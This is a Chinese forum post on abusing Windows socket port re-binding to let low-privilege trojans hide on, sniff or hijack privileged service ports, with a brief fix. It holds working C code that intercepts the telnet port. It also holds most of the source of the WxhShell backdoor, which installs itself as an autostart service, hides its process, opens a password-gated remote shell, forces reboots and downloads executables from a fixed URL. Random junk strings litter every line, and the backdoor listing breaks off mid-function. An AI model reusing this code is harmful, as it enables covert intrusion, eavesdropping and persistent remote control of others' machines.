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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $B8Vg `+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WzstO}?P(  
T1qbb*  
  saddr.sin_family = AF_INET; XB7*S*"!  
46]BRL2 G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Iuz_u2"C  
~*bfS}F8I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /[dMw *SRz  
p _[,P7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FzEs1hpl  
9287&+,0r  
  这意味着什么?意味着可以进行如下的攻击: {@CQ (  
-+{[.U<1jk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uGz)Vz&3  
4GP?t4][  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |dQz(z&6{5  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _{c_z*rM8  
?fH1?Z\'K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cO7ii~&%!  
O)`L( x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7SS#V  
z=KDkpV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `E1G9BbU  
C jf<,x$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6HZtdRQF  
FB wG3x  
  #include ~qQZhu"  
  #include L9O;K$[s  
  #include |` ~ioF  
  #include    O`0r'&n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D2}^TIg  
  int main() CPZ,sWg5  
  { 3}FZg w .  
  WORD wVersionRequested; >=97~a+.  
  DWORD ret; ;&<N1  
  WSADATA wsaData; -XXsob}/8  
  BOOL val; _^Q!cB'~/`  
  SOCKADDR_IN saddr; S[!6Lw  
  SOCKADDR_IN scaddr; Dx1(}D  
  int err; x)=l4A\  
  SOCKET s; Eo2`Vr9g  
  SOCKET sc; o)XrC   
  int caddsize; !.,J;Qt  
  HANDLE mt; OW#0$%f  
  DWORD tid;   6&0@k^7~  
  wVersionRequested = MAKEWORD( 2, 2 ); %d];h  
  err = WSAStartup( wVersionRequested, &wsaData ); UB5H8&Rf!  
  if ( err != 0 ) { aC`>~uX##V  
  printf("error!WSAStartup failed!\n"); k*?T^<c3  
  return -1; D& pn@6bB  
  } @Pk<3.S0  
  saddr.sin_family = AF_INET; B>c$AS\5y  
   /V09Na,N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &u[{VR:  
Ic4#Tk20i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?Fx~_GT  
  saddr.sin_port = htons(23); hhaiH i!$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]?+i6 [6U  
  { =S{OzF  
  printf("error!socket failed!\n"); :+DrV\)  
  return -1; SI~jM:S}  
  } jbipNgxkr  
  val = TRUE; 8)bR\s   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cy.r/Z}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~D3 S01ecM  
  { s>o#Ob@4'  
  printf("error!setsockopt failed!\n"); )KE  
  return -1; &*>.u8:r  
  } :.ZWYze  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h"+7cc@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *Z"`g %,;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &PE%tm  
Lq5xp<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 60^j<O  
  { >\[]z^J  
  ret=GetLastError(); OiQf=Uz\  
  printf("error!bind failed!\n"); : wS&3:h  
  return -1; NH|I>vyN  
  } _ cQ '3@  
  listen(s,2); is8i_FoD,n  
  while(1) `{:Nt#7  
  { Ht;Rz*}  
  caddsize = sizeof(scaddr); GIzB1cl:  
  //接受连接请求 Op-z"inw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )9"^ D  
  if(sc!=INVALID_SOCKET) ^'E^*R  
  { 6}-No  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W"Y)a|rG%  
  if(mt==NULL) y@7fR9hp<  
  { I9 zs  
  printf("Thread Creat Failed!\n"); A]!0Z:{h%  
  break; 9oJM?&i  
  } <b H *f w  
  } nC p/.]Y*  
  CloseHandle(mt); k!x|oC0  
  } =KHb0d |.  
  closesocket(s); @CzFzVmF"  
  WSACleanup(); ]S4"JcM  
  return 0; I :<,9.   
  }   xg/(  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7*uN[g#p  
  { %urvX$r4K  
  SOCKET ss = (SOCKET)lpParam; Y M:9m)  
  SOCKET sc; 9k ~8n9  
  unsigned char buf[4096]; 'r7[9[  
  SOCKADDR_IN saddr; 5(ZOm|3ix  
  long num; kVQm|frUz  
  DWORD val; Ztmh z_u7  
  DWORD ret; =!q]0#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F2}Fuupb.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ybiTWM  
  saddr.sin_family = AF_INET; buX(mj:&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pF8$83S  
  saddr.sin_port = htons(23); t$nJmfzm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k)-+ZmMOh  
  { 0RA#Y(IR  
  printf("error!socket failed!\n"); B{&W|z{$  
  return -1; L@GICW~  
  } { .$7g8]I  
  val = 100; mv99SOe[Fz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g@^y$wt  
  { U!q2bF<@  
  ret = GetLastError(); x t-s"A  
  return -1; @/kI;8  
  } ]:Ep1DIMl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K9EHT-  
  { VQpt1cK*  
  ret = GetLastError(); w>j5oz}  
  return -1; CWkWW/ZI  
  } "}Om0rB}1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tcj "rV{G  
  { =h4u N,  
  printf("error!socket connect failed!\n"); IW!x!~e  
  closesocket(sc); "<0!S~]  
  closesocket(ss); +h"i6`g  
  return -1; "qq$i35x  
  } Bbs1U  
  while(1) 0]7jb_n1  
  { 6Sd:5eTEQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M,JwoKyg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }PK4 KRn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P1[.[q/-e  
  num = recv(ss,buf,4096,0); DGGySO6=$e  
  if(num>0) 5go)D+6s  
  send(sc,buf,num,0); I[&x-}w  
  else if(num==0) 8(4!x$,Z5  
  break; |iUF3s|?  
  num = recv(sc,buf,4096,0); Pr} l y  
  if(num>0) [8za=B/  
  send(ss,buf,num,0); kEq~M10  
  else if(num==0) 2?%*UxcO  
  break; .\oW@2,RA9  
  } V]--d33/a  
  closesocket(ss); U>*@VOgB  
  closesocket(sc); I*TTD]e'X  
  return 0 ; \m|5Aqs  
  } vxPE=!|  
?VotIruR  
/E<Q_/'Z  
========================================================== 9e`};DE   
,]0BmlD  
下边附上一个代码,,WXhSHELL <fHHrmZ#/.  
T%%EWa<a  
========================================================== _UTN4z2aTG  
 dHx4yFS  
#include "stdafx.h" [xM&Jdf8  
,M`1 k  
#include <stdio.h> #9(+)~irz`  
#include <string.h> {D8opepO)  
#include <windows.h> |Jx:#OM  
#include <winsock2.h> 25Z} .))  
#include <winsvc.h> W]Xwt'ABz  
#include <urlmon.h> %R4 \[e  
DtBvfYO8)>  
#pragma comment (lib, "Ws2_32.lib") @Pc7$qD%  
#pragma comment (lib, "urlmon.lib") OiA uL:D  
!q$VnqFk  
#define MAX_USER   100 // 最大客户端连接数 &w^9#L  
#define BUF_SOCK   200 // sock buffer |e#W;q$v  
#define KEY_BUFF   255 // 输入 buffer eMdP4<u  
Os[z >H?  
#define REBOOT     0   // 重启 m<j;f  
#define SHUTDOWN   1   // 关机 n#"G)+h3#  
oX^N>w0F  
#define DEF_PORT   5000 // 监听端口 &<*M{GW'&  
.^A4w;jPU  
#define REG_LEN     16   // 注册表键长度 D,..gsg  
#define SVC_LEN     80   // NT服务名长度 ^/?7hbr  
|s/Kb]t  
// 从dll定义API rEp\ld  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C"n!mr{srt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O\Y*s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3. dSS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w|G7h=  
fPTLPcPP  
// wxhshell配置信息 TqN@l\  
struct WSCFG { v @M6D}  
  int ws_port;         // 监听端口 }~LGq.H  
  char ws_passstr[REG_LEN]; // 口令 On O_7'4 t  
  int ws_autoins;       // 安装标记, 1=yes 0=no >.UEs 8QV  
  char ws_regname[REG_LEN]; // 注册表键名 DW,ERQ^  
  char ws_svcname[REG_LEN]; // 服务名 {w3<dfJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J;XO1}9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kJB:=iq/x$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .7 j#F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uDG>m7(}/h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fp?M@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #@YKNS[  
Ge=6l0  
}; U4dfO=  
*?Wz/OJ0  
// default Wxhshell configuration ~h<T0Zc  
struct WSCFG wscfg={DEF_PORT, p/0dtnXa(  
    "xuhuanlingzhe", sE]z.Po=  
    1, N68]r 3/K  
    "Wxhshell", V1Ft3Msq  
    "Wxhshell", 5hEA/G  
            "WxhShell Service", ,^ ,R .T  
    "Wrsky Windows CmdShell Service", +(Hp ".gU  
    "Please Input Your Password: ", B7qi|Fw  
  1, $27OrXQ|  
  "http://www.wrsky.com/wxhshell.exe", *lZ V3F  
  "Wxhshell.exe" _T.`+0UV  
    }; aW_Y  
XjzGtZ#6  
// 消息定义模块  IN6L2/Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `yl|N L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; roriNr/ e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1k"t[^  
char *msg_ws_ext="\n\rExit."; ;xh.95BP`  
char *msg_ws_end="\n\rQuit."; =_E$* }  
char *msg_ws_boot="\n\rReboot..."; 8@;R2]Q  
char *msg_ws_poff="\n\rShutdown..."; IV1O/lGp  
char *msg_ws_down="\n\rSave to "; '%e@7Cs  
)Dv;,t  
char *msg_ws_err="\n\rErr!"; 66B,Krz1n  
char *msg_ws_ok="\n\rOK!"; \COoU("  
(JOR: 1aT  
char ExeFile[MAX_PATH]; Zd)LVc[  
int nUser = 0; ,*V%  
HANDLE handles[MAX_USER]; 4j+M<g  
int OsIsNt; ?gAwMP(>  
=v|$dDz  
SERVICE_STATUS       serviceStatus; +5O^{Ce6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $pPc}M[h  
6C"${}S F`  
// 函数声明 jN= !Q&^i[  
int Install(void);  m5J@kE%  
int Uninstall(void); Su@V5yz  
int DownloadFile(char *sURL, SOCKET wsh); lM#/F\  
int Boot(int flag); ulg=,+%r  
void HideProc(void); yN[i6oe  
int GetOsVer(void); S h5m+>7K  
int Wxhshell(SOCKET wsl); VtN@B*  
void TalkWithClient(void *cs); eGKvzu  
int CmdShell(SOCKET sock); H_8PK$c;  
int StartFromService(void); WuWOC6^  
int StartWxhshell(LPSTR lpCmdLine); xG4 C 6s  
2GigeN|1N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :Eg4^,QX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ooa"Th<  
{J)gS  
// 数据结构和表定义 m(xyEU  
SERVICE_TABLE_ENTRY DispatchTable[] = 'T|QG@q  
{ C@XnV=J  
{wscfg.ws_svcname, NTServiceMain}, F6DVq8f9  
{NULL, NULL} d@ZXCiA},  
}; H2g#'SK@  
{P?p*2J'  
// 自我安装 k'"R;^~xg  
int Install(void) W>CG;x{  
{ o<s~455m/  
  char svExeFile[MAX_PATH]; M_$;"NS+}  
  HKEY key; j~in%|^  
  strcpy(svExeFile,ExeFile); _jCu=l_  
W`#E[g?]  
// 如果是win9x系统,修改注册表设为自启动 %,8 "cM`D  
if(!OsIsNt) { 9QF,ynE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s}gdi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HN;f~EQT  
  RegCloseKey(key); +4IaX1.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P|fh4b4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N- <,wUxf  
  RegCloseKey(key); ?6\A$?  
  return 0; @v6{U?  
    } {9F}2 SJ  
  } PM:u~D$Jd  
} 0LHge7482  
else { ygV-Fv>PQ  
S[/D._5QD%  
// 如果是NT以上系统,安装为系统服务 >"]t4]GVf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cE,,9M@^  
if (schSCManager!=0) |BbrB[+ v[  
{ h!Fh@%  
  SC_HANDLE schService = CreateService Rh@UxNy\,  
  ( 8"wavh|g4  
  schSCManager, rUB67ok*  
  wscfg.ws_svcname, l@<Jp *|  
  wscfg.ws_svcdisp, ;,KT+!H$  
  SERVICE_ALL_ACCESS, 4kNSF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^!(tc=sr  
  SERVICE_AUTO_START, Q;z'"P   
  SERVICE_ERROR_NORMAL, >O1u![9K|w  
  svExeFile, 9Pm|a~[m  
  NULL, =p8iYtI  
  NULL, We"\nOP  
  NULL, kQ6YQsJ.*  
  NULL, !*k'3r KOW  
  NULL `LTD|0;  
  ); 2F,?}jJ.K  
  if (schService!=0) unN*L  
  { kkT=g^D9j  
  CloseServiceHandle(schService); |JUAR{  
  CloseServiceHandle(schSCManager); $L]E< gWrP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1[Jv9S*f/  
  strcat(svExeFile,wscfg.ws_svcname); y<8o!=Tb5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @A%\;o o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #@uF?8u  
  RegCloseKey(key); %SMP)4Y/R  
  return 0; fdKTj =4  
    } ot^$/(W  
  } }Mc&yjhMrg  
  CloseServiceHandle(schSCManager); _#E@& z".L  
} w4uY/!~k  
} Ve\!:,(Y_  
v`"BXSmp{  
return 1; u9}LvQh_6,  
} Uv:NY1(3!  
G'_5UP!  
// 自我卸载 i"M$hXO  
int Uninstall(void) =:^f6"p&Z  
{ ueJ_F#y  
  HKEY key; n]_<6{: U  
wcDb| H&  
if(!OsIsNt) { +oa>k 0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <;E>1*K}8  
  RegDeleteValue(key,wscfg.ws_regname); Z#_VxA>]v  
  RegCloseKey(key); $olITe"$g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G9c2kX.Bf  
  RegDeleteValue(key,wscfg.ws_regname); +,0 :L :a  
  RegCloseKey(key); r}XsJ$  
  return 0; +&)&Ny$W  
  } Et"B8@'P  
} ]K>x:vMKH  
} 4 eP-yi  
else { u*!/J R  
upF^k%<y:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dj{t[z]$k  
if (schSCManager!=0) A|0\ct  
{ b0Fr]oGp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nTXM/  
  if (schService!=0) F='rGQK!1  
  { }mQh^  
  if(DeleteService(schService)!=0) { *| YR8f  
  CloseServiceHandle(schService); 'y:+w{I2o  
  CloseServiceHandle(schSCManager); /{\mV(F(  
  return 0; ( |Xc_nC  
  } pH!8vnoA  
  CloseServiceHandle(schService); 7`t[|o  
  } k3B]u.Lo  
  CloseServiceHandle(schSCManager); PqwoZo0j  
} %-, -:e  
} 9y&&6r<I  
#-FfyxQ8ai  
return 1; E\=23[0  
} F5EsaF'e4  
3ES3, uR  
// 从指定url下载文件 8#~x6\!b  
int DownloadFile(char *sURL, SOCKET wsh) Z<Ke /Xi  
{ 8G p%Q  
  HRESULT hr; dI9u: -  
char seps[]= "/"; dpcFS0  
char *token; 0RGSv!w  
char *file; f{u3RCfX~2  
char myURL[MAX_PATH]; &H@OLyC  
char myFILE[MAX_PATH]; d"4J)+q  
tcS7 @^'  
strcpy(myURL,sURL); 3SWO_  
  token=strtok(myURL,seps); [n;GP@A ]R  
  while(token!=NULL) |R$/oq  
  { p7Q %)5o  
    file=token; d+:pZ  
  token=strtok(NULL,seps); n42XqR  
  } "G @(AE(  
x3?:"D2  
GetCurrentDirectory(MAX_PATH,myFILE); <gc\ ,P<ru  
strcat(myFILE, "\\"); hiA%Tq?  
strcat(myFILE, file); B<uUf)t  
  send(wsh,myFILE,strlen(myFILE),0); H$n{|YO `  
send(wsh,"...",3,0); C@[f Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :%vD hMHa  
  if(hr==S_OK) $X:r&7t+Q[  
return 0; /tGj`C&qtw  
else  MfNguh  
return 1; "~zQN(sR"P  
bMpCQ  
} J+6bp0RIh  
/6@Wm? `DB  
// 系统电源模块 H- aSLc  
int Boot(int flag) WAt| J2  
{ /5c;,.hm1R  
  HANDLE hToken; ]f"l4ay@M  
  TOKEN_PRIVILEGES tkp; x_TtS|   
,k5b,}tN  
  if(OsIsNt) { kdHP v=/U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $f^ \fa[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !@[@xdV  
    tkp.PrivilegeCount = 1; w- .=u3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m"Y|xvIA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  B Ji  
if(flag==REBOOT) { g` QbJ61a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]ZOzqh_0C  
  return 0; `CXAE0Fx  
} j4G?=oDb  
else { ;^j 2>Azn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $5)ZaYx<  
  return 0; OAiip,  
} g0BJj=  
  } s&7,gWy}BE  
  else { =5sUpP V(  
if(flag==REBOOT) { tu6Q7CjW8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q]}aZ4L  
  return 0; d;D8$q)8Q  
} h (`Erb  
else { pK~K>8\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |P"p/iY  
  return 0; L:g!f  
} $|yO mh  
} ywRw i~  
.(8sa8{N  
return 1; V:w=h>z8  
} Iv5 agh%  
hh!^^emo  
// win9x进程隐藏模块 .w`1;o  
void HideProc(void) naT;K0T=  
{ =fZ)2q  
nUL8*#p-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XfXqq[\N  
  if ( hKernel != NULL ) pU|SUM  
  { l}$Pv?T,2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /J"U`/ {4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [z1[4  
    FreeLibrary(hKernel); T53|*~u  
  } /Af:{|'$%  
D`bH_1X  
return; u-a*fT  
} n^Qt !~  
T*%Q s&x ;  
// 获取操作系统版本 A:3:Cr  
int GetOsVer(void) 9aE!! (E  
{ 6_# >s1`R  
  OSVERSIONINFO winfo; t(|\3$z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tC=`J%Ik  
  GetVersionEx(&winfo); D:gskK+o6M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) , LP |M:  
  return 1; *$ihNX]YG  
  else ?{ "_9g9  
  return 0; il \q{Y o  
} *k(>Qsb "  
OI9V'W$  
// 客户端句柄模块 q+/c+u?=^  
int Wxhshell(SOCKET wsl) W7a aL  
{ 1{sfDw[s  
  SOCKET wsh; /OpVr15  
  struct sockaddr_in client; 4q`$nI Bi  
  DWORD myID; (\ze T5  
P-?ya!@"  
  while(nUser<MAX_USER) y/ #{pyJ  
{ *jps}uk<  
  int nSize=sizeof(client); Vn`-w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); etEm#3  
  if(wsh==INVALID_SOCKET) return 1; =?} t7}#  
?=%Q$|]-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rH9wRY(  
if(handles[nUser]==0) _z<y]?q  
  closesocket(wsh); ]Y'oxh  
else L+}q !'8S  
  nUser++; ptS1d$  
  } EPQ~V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l;I)$=={=  
6O^'J~wiI  
  return 0; t$sL6|Ww}o  
} S?W!bkfn  
ZX0ZN2 ]  
// 关闭 socket 6]%79?'A  
void CloseIt(SOCKET wsh) &J)q_Z8  
{ &VIX?UngE  
closesocket(wsh); vpy_piG|  
nUser--; gxX0$\8o7  
ExitThread(0); p:9)}y  
} KB$s7S"=  
GT[,[l  
// 客户端请求句柄 5YlY=J  
void TalkWithClient(void *cs) qYHAXc}$  
{ FF"6~  
KKR@u(+"a  
  SOCKET wsh=(SOCKET)cs; km; M!}D  
  char pwd[SVC_LEN]; ?NZKu6  
  char cmd[KEY_BUFF]; P&@:''  
char chr[1]; Hnv{sND[  
int i,j; 'sCj\N  
>g%^hjJ  
  while (nUser < MAX_USER) { u.wm;eK[  
0W|}5(C  
if(wscfg.ws_passstr) { a}Db9=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); etX &o5A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yq;|Me{h  
  //ZeroMemory(pwd,KEY_BUFF); (o/HLmr@Y  
      i=0; S~QL x  
  while(i<SVC_LEN) { =X(8 [ e  
=v4;t'_^  
  // 设置超时 qW57h8M  
  fd_set FdRead; mJ=3faM  
  struct timeval TimeOut; yv:8=.r}M  
  FD_ZERO(&FdRead); <MhjvHg  
  FD_SET(wsh,&FdRead); !c`K zqP  
  TimeOut.tv_sec=8; _c=[P@  
  TimeOut.tv_usec=0; h&3*O[`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ex'6 WN~kD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %[:\ZwT,-  
M <oy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )P:r;a'  
  pwd=chr[0]; VJ` c/EVIt  
  if(chr[0]==0xd || chr[0]==0xa) { z z@;UbD"  
  pwd=0; 1]HEwTT/1_  
  break; FE+Y#  
  } $EjM )  
  i++; 4J=6A4O5Z  
    } K-&&%Id6R  
pA(B~9WQ  
  // 如果是非法用户,关闭 socket 7 tOOruiC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |s&jWM$  
} <$#b3F"I  
(U"Ub;[7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lsV9-)yyl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lW^bn(_gQ  
\Kph?l9Ww  
while(1) { gC81ICM  
\ltA&}!  
  ZeroMemory(cmd,KEY_BUFF); [|ghq  
2IgTB|2  
      // 自动支持客户端 telnet标准   mE3^5}[>  
  j=0; B+G,v:)R6z  
  while(j<KEY_BUFF) { adG=L9 "n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nezdk=8J/  
  cmd[j]=chr[0]; vEJ2d&  
  if(chr[0]==0xa || chr[0]==0xd) { 9$&+0  
  cmd[j]=0; cPh U q ET  
  break; H6ff b)&  
  } U$[C>~r  
  j++; v:*t5M >  
    } $vNz^!zgV  
2ZMYA=[!  
  // 下载文件 W=v4dy]B  
  if(strstr(cmd,"http://")) { f\sxx!kt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7\sJ=*  
  if(DownloadFile(cmd,wsh)) D8a[zXWnc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5BvCP   
  else P q\m8iS,w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +.N3kH  
  } 0MK|spc  
  else { G1 ?."  
+8e~jf3E1  
    switch(cmd[0]) { | ,bCYK  
  __p\`3(,'  
  // 帮助 E DuLgg@  
  case '?': { Qe=,EXf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]:CU.M1  
    break; 8(R%?> 8  
  } ueO&%  
  // 安装 {C>.fg%t  
  case 'i': { N&`VMEB)k  
    if(Install()) "4c ?hH:C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ue:'55  
    else 7^|oO~x6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <3dmY=  
    break; i6R2R8  
    } e0O2 >w  
  // 卸载 Z% 3]  
  case 'r': { Ekx3GM_]  
    if(Uninstall()) o]0v#2l'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H"|xG;cf  
    else 82% ~WQnS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P-9[,3Zd  
    break; 3$Ew55  
    } "(y",!U@  
  // 显示 wxhshell 所在路径 -TKS`,#  
  case 'p': { 70p1&Y7or  
    char svExeFile[MAX_PATH]; ("{JNA/  
    strcpy(svExeFile,"\n\r"); <vx/pH)f  
      strcat(svExeFile,ExeFile); rrK&XP&  
        send(wsh,svExeFile,strlen(svExeFile),0); f,9jK9/$  
    break; (~F{c0 \C  
    } O5HK2Xg,C  
  // 重启 V5y8VT=I  
  case 'b': { yjZ]_.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p<1z!`!P  
    if(Boot(REBOOT)) _@CY_`a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Ee!vqD2  
    else { $:M*$r^u  
    closesocket(wsh); Jy)E!{#x  
    ExitThread(0); wD|,G!8E2  
    } #L}Y Z  
    break; uGm~ Oo  
    } rQ|^H Nj  
  // 关机 k CkSu-  
  case 'd': { NvH9?Ek"  
